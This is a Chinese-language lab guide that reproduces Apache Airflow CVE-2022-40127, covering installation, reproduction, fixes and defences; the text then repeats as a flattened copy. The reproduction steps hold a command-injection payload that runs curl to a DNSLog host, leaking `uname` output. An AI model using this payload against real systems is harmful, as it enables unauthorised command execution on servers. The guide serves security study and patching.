Apache Airflow(CVE-2022-40127)漏洞复现
字数 1803 2025-08-11 22:57:23

Apache Airflow (CVE-2022-40127) 漏洞分析与复现指南

漏洞概述

漏洞编号: CVE-2022-40127
影响产品: Apache Airflow
影响版本: Apache Airflow < 2.4.0
漏洞类型: 命令注入
CVSS评分: 待补充(根据实际危害程度)
披露时间: 2022年11月24日

Apache Airflow是一个基于有向无环图(DAG)的工作流平台,可用于编程、调度和监控任务流程。该漏洞存在于Airflow的Web界面中,当环境中存在默认Example Dags时,攻击者可通过构造恶意run_id参数实现任意命令执行。

漏洞原理

漏洞根源在于Airflow对用户提供的run_id参数处理不当,当存在默认Example Dags时,攻击者可以通过特制的run_id参数注入恶意命令。具体来说:

  1. 攻击者需要能够访问Airflow后台
  2. 环境中必须启用了默认的Example Dags
  3. 通过example_bash_operator的Trigger DAG功能
  4. 在run_id参数中注入恶意命令

环境搭建

系统要求

  • 操作系统: Ubuntu
  • Apache Airflow版本: 2.3.4(漏洞版本)
  • Python版本: 3.8
  • 数据库: MySQL 5.7.39

安装步骤

  1. 设置环境变量

    export AIRFLOW_HOME=~/airflow
    
  2. 安装Airflow

    pip3 install apache-airflow==2.3.4
    
  3. 修改配置文件

    • 初始化后会在~/airflow目录生成airflow.cfg文件
    • 需要修改两个关键配置:
      # 修改执行器类型
      executor = LocalExecutor
      
      # 修改数据库连接
      sql_alchemy_conn = mysql://airflowdb:airflowdb123@localhost:3306/airflowdb
      
  4. MySQL配置

    • my.cnf文件的[mysqld]段添加:
      explicit_defaults_for_timestamp = true
      
    • 重启MySQL服务
  5. 创建数据库

    • 创建名为airflowdb的数据库
    • 注意:数据库引擎必须为InnoDB,否则会报错"Specified key was too long; max key length is 1000 bytes"
  6. 初始化数据库

    airflow db init
    
    • 如果报错ModuleNotFoundError: No module named 'MySQLdb',需要安装mysqlclient:
      python3 -m pip install mysqlclient
      
  7. 创建管理员用户

    airflow users create --username admin --firstname admin --lastname admin --role Admin --email admin@lab.com
    
    • 命令执行后会提示设置密码
  8. 启动服务

    • 启动Web服务器:
      airflow webserver -p 11888
      
    • 启动调度器:
      airflow scheduler
      

漏洞复现步骤

  1. 访问Airflow Web界面并登录(默认地址:http://localhost:11888

  2. 找到"example_bash_operator" DAG

  3. 点击该行右侧Action列的三角符号,选择"Trigger DAG w/ config"

  4. 在配置界面中,在"run id"字段输入以下payload:

    {"lab":"\";curl `uname`.xxxxxx.dnslog.pw;\""}
    
    • xxxxxx替换为你的DNSLog域名
  5. 提交后,观察DNSLog平台是否有请求记录,验证命令是否执行成功

漏洞修复方案

  1. 官方修复版本

    • 升级到Apache Airflow 2.4.0或更高版本
    • 官方修复PR: https://github.com/apache/airflow/pull/25960
  2. 临时缓解措施

    • 禁用默认的Example Dags
    • 在生产环境中不应使用Example Dags
  3. 安全建议

    • 限制Airflow Web界面的访问权限
    • 定期更新Airflow到最新稳定版本
    • 审查所有自定义DAG的安全性

技术分析

该漏洞利用了Airflow对用户输入的run_id参数处理不当的问题。当run_id参数被传递到bash命令中时,由于缺乏适当的过滤和转义,攻击者可以注入任意命令。

漏洞利用的关键点:

  • example_bash_operator DAG默认使用BashOperator执行命令
  • run_id参数被直接拼接到命令中
  • 攻击者可以通过JSON配置注入恶意命令

防御措施

  1. 输入验证

    • 对所有用户提供的参数进行严格验证
    • 实现白名单机制,限制run_id的字符集
  2. 安全配置

    • 生产环境应禁用示例DAG
    • 使用最小权限原则配置Airflow
  3. 网络隔离

    • 将Airflow部署在内网环境
    • 配置适当的网络访问控制
  4. 日志监控

    • 监控可疑的DAG触发行为
    • 记录所有DAG执行日志

总结

CVE-2022-40127是一个典型的命令注入漏洞,影响Apache Airflow 2.4.0以下版本。通过该漏洞,攻击者可以在服务器上执行任意命令,可能导致严重的安全后果。管理员应及时升级到修复版本或采取适当的缓解措施。

Apache Airflow (CVE-2022-40127) 漏洞分析与复现指南 漏洞概述 漏洞编号 : CVE-2022-40127 影响产品 : Apache Airflow 影响版本 : Apache Airflow < 2.4.0 漏洞类型 : 命令注入 CVSS评分 : 待补充(根据实际危害程度) 披露时间 : 2022年11月24日 Apache Airflow是一个基于有向无环图(DAG)的工作流平台,可用于编程、调度和监控任务流程。该漏洞存在于Airflow的Web界面中,当环境中存在默认Example Dags时,攻击者可通过构造恶意run_ id参数实现任意命令执行。 漏洞原理 漏洞根源在于Airflow对用户提供的run_ id参数处理不当,当存在默认Example Dags时,攻击者可以通过特制的run_ id参数注入恶意命令。具体来说: 攻击者需要能够访问Airflow后台 环境中必须启用了默认的Example Dags 通过example_ bash_ operator的Trigger DAG功能 在run_ id参数中注入恶意命令 环境搭建 系统要求 操作系统: Ubuntu Apache Airflow版本: 2.3.4(漏洞版本) Python版本: 3.8 数据库: MySQL 5.7.39 安装步骤 设置环境变量 安装Airflow 修改配置文件 初始化后会在 ~/airflow 目录生成 airflow.cfg 文件 需要修改两个关键配置: MySQL配置 在 my.cnf 文件的 [mysqld] 段添加: 重启MySQL服务 创建数据库 创建名为 airflowdb 的数据库 注意:数据库引擎必须为InnoDB,否则会报错"Specified key was too long; max key length is 1000 bytes" 初始化数据库 如果报错 ModuleNotFoundError: No module named 'MySQLdb' ,需要安装mysqlclient: 创建管理员用户 命令执行后会提示设置密码 启动服务 启动Web服务器: 启动调度器: 漏洞复现步骤 访问Airflow Web界面并登录(默认地址: http://localhost:11888 ) 找到"example_ bash_ operator" DAG 点击该行右侧Action列的三角符号,选择"Trigger DAG w/ config" 在配置界面中,在"run id"字段输入以下payload: 将 xxxxxx 替换为你的DNSLog域名 提交后,观察DNSLog平台是否有请求记录,验证命令是否执行成功 漏洞修复方案 官方修复版本 升级到Apache Airflow 2.4.0或更高版本 官方修复PR: https://github.com/apache/airflow/pull/25960 临时缓解措施 禁用默认的Example Dags 在生产环境中不应使用Example Dags 安全建议 限制Airflow Web界面的访问权限 定期更新Airflow到最新稳定版本 审查所有自定义DAG的安全性 技术分析 该漏洞利用了Airflow对用户输入的run_ id参数处理不当的问题。当run_ id参数被传递到bash命令中时,由于缺乏适当的过滤和转义,攻击者可以注入任意命令。 漏洞利用的关键点: example_ bash_ operator DAG默认使用BashOperator执行命令 run_ id参数被直接拼接到命令中 攻击者可以通过JSON配置注入恶意命令 防御措施 输入验证 对所有用户提供的参数进行严格验证 实现白名单机制,限制run_ id的字符集 安全配置 生产环境应禁用示例DAG 使用最小权限原则配置Airflow 网络隔离 将Airflow部署在内网环境 配置适当的网络访问控制 日志监控 监控可疑的DAG触发行为 记录所有DAG执行日志 总结 CVE-2022-40127是一个典型的命令注入漏洞,影响Apache Airflow 2.4.0以下版本。通过该漏洞,攻击者可以在服务器上执行任意命令,可能导致严重的安全后果。管理员应及时升级到修复版本或采取适当的缓解措施。